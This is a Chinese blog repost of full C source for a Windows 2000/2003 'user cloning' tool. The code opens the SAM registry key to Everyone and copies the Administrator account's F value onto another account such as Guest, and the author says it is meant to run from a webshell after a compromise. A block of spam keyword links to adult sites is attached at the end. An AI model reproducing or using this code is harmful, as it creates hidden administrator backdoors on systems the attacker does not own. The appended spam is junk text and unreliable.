• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            elva

            第一個(gè)支持2000和2003下完美進(jìn)行用戶克隆的C源碼(可在webshell里直接運(yùn)行)

            軟件作者:pt007[at]vip.sina.com版權(quán)所有,轉(zhuǎn)載請(qǐng)注明版權(quán)
            信息來源:邪惡八進(jìn)制信息安全團(tuán)隊(duì)(www.eviloctal.com
               本程序是基于dahubaobao的源程序的基礎(chǔ)上進(jìn)行了修改,改正了源程序中的一個(gè)嚴(yán)重BUG(原程序會(huì)引起用戶管理的混亂),本版本加入了注冊(cè)表提權(quán)和恢復(fù)功能,因此能夠完美的支持XP/2000/2003,下一個(gè)版本我打算實(shí)現(xiàn)直接輸入用戶名克隆和密碼修改功能!感謝dahubaobao和sinister的指點(diǎn).
              WEBSHELL里可執(zhí)行是指:至少有一個(gè)管理員權(quán)限的shell,如:jsp/MYSQL/SERV提權(quán)/反彈CMDSHELL
            Copy code
            #include <windows.h>
            #include <string.h>
            #include <stdio.h>
            #include <aclapi.h>

            char name[50][30];
            int KeyN=0;
            LPTSTR lpObjectName;
            SE_OBJECT_TYPE ObjectType; //#include <aclapi.h>
            PACL OldDACL,NewDACL;
            PSECURITY_DESCRIPTOR SD;
            EXPLICIT_ACCESS ea;
            //OpenKey(),ViewUser(),ListUser()函數(shù)用到的變量

            //顯示用戶名對(duì)應(yīng)的安全標(biāo)識(shí)符:
            void OpenKey (char *key);
            int ViewUser (char *key);
            int ListUser (void);//列出用戶名和類型值(用戶SID)
            int Clone (char *C_sid);//克隆帳戶
            void Usage (void);//幫助信息

            //設(shè)置注冊(cè)表的存取權(quán)限:
            void new();
            void old();

            void main (int argc, char *argv[])
            {
            char C_Sid[10];
            int n;
            if(argc<2)
            {Usage();
            return;}

            //提升注冊(cè)表SAM鍵的權(quán)限:
            new();

            //如何使用命令行參數(shù)的方法:
            for (n=1;n<argc;n++)
            {
            if (argv[n][0] == '-')
            {
            switch(argv[n][1])
            {
            case '?':
            case 'h':
            case 'H':Usage();
            break;

            case 'l':
            case 'L':ListUser();
                old();
            break;

            case 'c':
            case 'C':
            if(argc<3)
            {printf("Useage:%s -c 1F5\n",argv[0]);
            old();
            break;}
            strcpy(C_Sid,argv[2]);//獲得屏幕輸入并存入C_Sid字符數(shù)組
            if (strlen(C_Sid)<=10)
            Clone(C_Sid);
            else
            printf("Error\n");
            //恢復(fù)注冊(cè)表的權(quán)限:
            old();

                break;

            }
            }
            }
            }


            void OpenKey (char *key)
            {
            HKEY hkey;//注冊(cè)表鍵值的句柄
            DWORD dwIndex=0,lpcbname=100,ret=0;
            char T_name[100],Buffer[100];
            FILETIME lpftlast;
            int i=0;
            //下面是字符數(shù)組清0:
            ZeroMemory(Buffer,100);
            ZeroMemory(T_name,100);
            ZeroMemory(name,1500);

            RegOpenKeyEx(HKEY_LOCAL_MACHINE, //根鍵名或已打開項(xiàng)的句柄
            key, //傳遞一個(gè)參數(shù),欲打開的注冊(cè)表項(xiàng)
            0, //未用,設(shè)為0即可
            KEY_ALL_ACCESS, //描述新鍵值安全性的訪問掩碼
            //它們的組合描述了允許對(duì)這個(gè)項(xiàng)進(jìn)行哪些操作
            &hkey);//裝載上面打開項(xiàng)的句柄

            for(i=0;ret==ERROR_SUCCESS;i++,dwIndex++)//遍歷子鍵中的每個(gè)值
            {
            ret=RegEnumKeyEx(hkey,dwIndex,T_name,&lpcbname,
            NULL,NULL,NULL,&lpftlast);
            //dwIndex:欲獲取的子項(xiàng)的索引。第一個(gè)子項(xiàng)的索引編號(hào)為零
            //T_name:用于裝載指定索引處項(xiàng)名的一個(gè)緩沖區(qū)
            //&lpcbname:指定一個(gè)變量,用于裝載lpName緩沖區(qū)的實(shí)際長(zhǎng)度(包括空字符)。
            //一旦返回,它會(huì)設(shè)為實(shí)際裝載到lpName緩沖區(qū)的字符數(shù)量
            //NULL:未用,設(shè)為零
            //NULL:項(xiàng)使用的類名
            //NULL:用于裝載lpClass緩沖區(qū)長(zhǎng)度的一個(gè)變量
            //&lpftlast:FILETIME,枚舉子項(xiàng)上一次修改的時(shí)間

            strcat(name[i],T_name);//將每個(gè)子鍵名加入到name[i]數(shù)組中

            ZeroMemory(T_name,100);//清0
            lpcbname=100;
            }
            //printf("subkey=%s\n",name[0]);//administrator
            RegCloseKey(hkey); //關(guān)閉注冊(cè)鍵

            //拼接用戶名:
            for(KeyN=0;KeyN<i;KeyN++)
            {
            strcat(Buffer,name[KeyN]);
            strcat(Buffer,"\n\r");
            }
            }

            int ViewUser (char *key)
            {
            HKEY hkey;
            DWORD lpType=0,ret;
            char S_name[10];


            ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
            key,//如://SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator
            0,
            KEY_ALL_ACCESS,
            &hkey);

            if(ret==ERROR_SUCCESS)
                ;
            else
            return 0;

            RegQueryValueEx(hkey,NULL,NULL,&lpType,NULL,NULL);
            //NULL:要獲取值的名字
            //NULL:未用,設(shè)為零
            //&lpType:用于裝載取回?cái)?shù)據(jù)類型的一個(gè)變量
            //NULL:用于裝載指定值的一個(gè)緩沖區(qū)
            //NULL:用于裝載lpData緩沖區(qū)長(zhǎng)度的一個(gè)變量

            wsprintf(S_name,"%X\n\r",lpType);
            printf("%s",S_name);

            return 1;
            }

            int ListUser (void)
            {
            int n;
            char Buffer[70]="SAM\\SAM\\Domains\\Account\\Users\\Names\\";
            char Temp[40]={'\0'};

            OpenKey("SAM\\SAM\\Domains\\Account\\Users\\Names");

            for(n=0;n<KeyN;n++)
            {
            strcat(Buffer,name[n]);//SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator
            wsprintf(Temp,name[n]);
            strcat(Temp,"===>");
            printf("%s",Temp);
            ViewUser(Buffer);
            strcpy(Buffer,"SAM\\SAM\\Domains\\Account\\Users\\Names\\");
            }
            return 1;
            }

            int Clone(char *C_sid)
            {
            HKEY hkey,C_hkey;
            DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret;
            char CloneSid[100];
            LPBYTE lpDataF,lpDataV;
            //為注冊(cè)表的F與V值分配空間:
            lpDataF = (LPBYTE) malloc(1024*2);
            lpDataV = (LPBYTE) malloc(1024*10);
            //清0:
            ZeroMemory(lpDataF,1024*2);
            ZeroMemory(lpDataV,1024*10);
            ZeroMemory(CloneSid,100);

            strcpy(CloneSid,"SAM\\SAM\\Domains\\Account\\Users\\00000");
            strcat(CloneSid,C_sid);//如:SAM\\SAM\\Domains\\Account\\Users\\000001F5

            ret= RegOpenKeyEx(HKEY_LOCAL_MACHINE,
            "SAM\\SAM\\Domains\\Account\\Users\\000001F4", //administrator的子鍵
            0,
            KEY_ALL_ACCESS,
            &hkey);

            if(ret==ERROR_SUCCESS)
            ;
            else
            return 0;
            //讀出F值然后存入lpDataF中:
            ret = RegQueryValueEx(hkey,"F",NULL,
            &Type,lpDataF,&SizeF);

            if(ret==ERROR_SUCCESS)
            ;
            else
            return 0;
            //讀出v值然后存入lpDataV中:
            ret = RegQueryValueEx(hkey,"V",NULL,
            &Type,lpDataV,&SizeV);

            if(ret==ERROR_SUCCESS)
            ;
            else
            return 0;
            //下面是打開需克隆用戶如guest的鍵值:
            ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
            CloneSid, //如:SAM\\SAM\\Domains\\Account\\Users\\000001F5
            0,
            KEY_ALL_ACCESS,
            &C_hkey);

            if(ret==ERROR_SUCCESS)
            ;
            else
            return 0;
            //將lpDataF中的值來替換需克隆用戶的F值:
            ret= RegSetValueEx(C_hkey,"F",0,
            REG_BINARY,
            lpDataF,
            SizeF);
            //C_hkey:根鍵名或已打開項(xiàng)的句柄
            //“F”:要設(shè)置值的名字
            //0:未用,設(shè)為零
            //REG_BINARY:要設(shè)置的數(shù)量類型
            //lpDataF:包含數(shù)據(jù)的緩沖區(qū)中的第一個(gè)字節(jié)
            //SizeF:lpData緩沖區(qū)的長(zhǎng)度

            if(ret==ERROR_SUCCESS)
            printf("Clone User Success\n");
            else
            {
            printf("Clone User FAIL\n");
            return 0;
            }
            //關(guān)閉已打開的注冊(cè)表句柄:
            RegCloseKey(hkey);
            RegCloseKey(C_hkey);

            return 1;
            }

            void new()
            {//下面是設(shè)置SAM鍵的權(quán)限為everyone:
                lpObjectName = "MACHINE\\SAM\\SAM";

                ObjectType =SE_REGISTRY_KEY;

                //建立一個(gè)空的ACL;
                if (SetEntriesInAcl(0, NULL, NULL, &

                OldDACL)!=ERROR_SUCCESS)
                    return;

                if (SetEntriesInAcl(0, NULL, NULL, &NewDACL)!=ERROR_SUCCESS)
                    return;

                //獲取現(xiàn)有的ACL列表到OldDACL:
                if(GetNamedSecurityInfo(lpObjectName, ObjectType,
                                      DACL_SECURITY_INFORMATION,
                                      NULL, NULL,
                                      &OldDACL,
                                      NULL, &SD) != ERROR_SUCCESS)
                      printf("指定的鍵不存在!\n");
            // 本文轉(zhuǎn)自 C++Builder 研究 - http://www.ccrun.com/article.asp?i=563&d=tshoza
            //設(shè)置用戶名"Everyone"對(duì)指定的鍵有所有操作權(quán)到結(jié)構(gòu)ea:
                ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));

                BuildExplicitAccessWithName(&ea,
                                            "Everyone",      // name of trustee
                                            KEY_ALL_ACCESS,    // type of access
                                            SET_ACCESS,      // access mode
                                            SUB_CONTAINERS_AND_OBJECTS_INHERIT); //子鍵繼承它的權(quán)限

                
                //合并結(jié)構(gòu)ea和OldDACL的權(quán)限列表到新的NewDACL:
                if(SetEntriesInAcl(1, &ea, NULL, &NewDACL) != ERROR_SUCCESS)
                      goto Cleanup;

                //把新的ACL寫入到指定的鍵:
                SetNamedSecurityInfo(lpObjectName, ObjectType,
                      DACL_SECURITY_INFORMATION,
                      NULL, NULL,
                      NewDACL,
                      NULL);
            //釋放指針
                Cleanup:
                if(SD != NULL)
                      LocalFree((HLOCAL) SD);
                if(NewDACL != NULL)
                      LocalFree((HLOCAL) NewDACL);
                if(OldDACL != NULL)
                      LocalFree((HLOCAL) OldDACL);
            }

            void old()
            {
            //恢復(fù)注冊(cè)表的權(quán)限:

                BuildExplicitAccessWithName(&ea,
                                            "system",      // name of trustee
                                            KEY_ALL_ACCESS,    // type of access
                                            SET_ACCESS,      // access mode
                                            SUB_CONTAINERS_AND_OBJECTS_INHERIT); //讓子鍵繼承他的權(quán)限

                if(SetEntriesInAcl(1, &ea, NULL, &OldDACL) != ERROR_SUCCESS)
                  goto Cleanup;

                //把舊的ACL寫入到指定的鍵:
                SetNamedSecurityInfo(lpObjectName, ObjectType,
                      DACL_SECURITY_INFORMATION,
                      NULL, NULL,
                      OldDACL,
                      NULL);
                //釋放指針
                Cleanup:
                if(SD != NULL)
                      LocalFree((HLOCAL) SD);
                if(NewDACL != NULL)
                      LocalFree((HLOCAL) NewDACL);
                if(OldDACL != NULL)
                      LocalFree((HLOCAL) OldDACL);

            }


            //輸出幫助的典型方法:
            void Usage (void)
            {
            fprintf(stderr,"===============================================================================\n"
            "\t名稱:2003與2000下克隆任意用戶程序\n"
            "\t環(huán)境:Win2003 + Visual C++ 6.0\n"
            "\t作者:pt007@vip.sina.com\n"
            "\tQQ:7491805\n"
            "\t聲明:本軟件由pt007原創(chuàng),轉(zhuǎn)載請(qǐng)注明出處,謝謝!\n"
            "\n"
            "\t使用方法:\n"
            "\t\"-H\":幫助信息\n"
            "\t\"-L\":列出系統(tǒng)中用戶對(duì)應(yīng)的SID\n"
            "\t\"-C 1F5\":克隆帳戶,輸入SID即可\n"
            "\t 對(duì)應(yīng)注冊(cè)表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\n"
            "\t 對(duì)應(yīng)注冊(cè)表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\n"
            "\n"
            "\t注意事項(xiàng):\n"
            "\t由于SID的前5位都是\"0\",所以不必輸入,直接輸入最后三位\n"
            "\t例如:000001F5,則直接輸入1F5,即可將Guest帳戶克隆\n"
            "===============================================================================\n");
            }

            posted on 2007-05-14 00:49 葉子 閱讀(347) 評(píng)論(0)  編輯 收藏 引用 所屬分類: 網(wǎng)絡(luò)安全

            国产精品一久久香蕉国产线看| 99久久精品免费国产大片| 欧洲国产伦久久久久久久| 婷婷国产天堂久久综合五月| 久久久久精品国产亚洲AV无码| 久久91综合国产91久久精品| 久久精品99无色码中文字幕| 久久精品aⅴ无码中文字字幕不卡| 久久夜色精品国产噜噜亚洲AV| 精品久久久久一区二区三区| 久久精品免费全国观看国产| 久久电影网2021| 亚洲精品乱码久久久久久按摩 | 久久亚洲中文字幕精品一区| 日韩人妻无码精品久久免费一| 国产午夜福利精品久久| 伊人色综合久久天天人手人婷 | 亚洲乱码精品久久久久..| 精品久久久久一区二区三区| 久久久国产精品亚洲一区| 亚洲另类欧美综合久久图片区| 国产一级做a爰片久久毛片| 性欧美大战久久久久久久久 | 久久青草国产手机看片福利盒子| 久久影视综合亚洲| 久久综合狠狠综合久久激情 | 精品一二三区久久aaa片| 久久国产精品视频| 国产精品久久久久一区二区三区| 精品精品国产自在久久高清| 午夜人妻久久久久久久久| 久久精品国产亚洲av麻豆蜜芽 | 欧美激情精品久久久久久久九九九 | www.久久热.com| 久久久久久免费视频| 日日狠狠久久偷偷色综合96蜜桃| 亚洲va久久久噜噜噜久久天堂| 亚洲另类欧美综合久久图片区| 亚洲国产精品综合久久网络 | 久久精品这里热有精品| 国产亚洲欧美精品久久久|